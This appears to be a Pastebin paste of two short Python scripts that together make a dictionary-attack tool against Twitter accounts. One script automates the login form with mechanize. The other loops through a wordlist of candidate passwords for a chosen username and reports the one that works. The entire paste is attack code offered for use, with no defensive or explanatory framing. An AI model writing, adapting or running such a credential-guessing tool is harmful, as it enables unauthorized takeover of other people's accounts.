Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- twitLogin.py syntax:
- import mechanize
- url = "http://twitter.com/login"
- op = mechanize.Browser()
- op.set_handle_robots(False)
- op.addheaders = [("user-agent","Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140429 Firefox/24.0 Iceweasel/24.5.0" )]
- def login (usr, psw):
- global op, url
- op.open(url)
- op.select_form(nr=2)
- op.form["session[username_or_email]"] = usr
- op.form["session[password]"] = psw
- op.submit()
- if op.title() == "Twitter": return True
- else: return False
- Twitter.py syntax:
- import twitLogin
- un = raw_input("Username: ")
- wl = raw_input("Wordlist: ")
- state = False
- with open(wl, "r") as fle:
- for i in fle:
- tmp = ""
- if i[-1] == "\n":
- tmp = i[:-1]
- else:
- tmp = i
- print tmp
- if twitLogin.login(un, tmp):
- state = True
- break
- print "\n\n"
- if state:
- print "The password has been found."
- print "Username:", un
- print "Password:", tmp
- else:
- print "The password has not been found."
- print "Try again with a different wordlist, or try to bruteforce the password."
- raw_input("Press enter to finish.")
Advertisement
Add Comment
Please, Sign In to add comment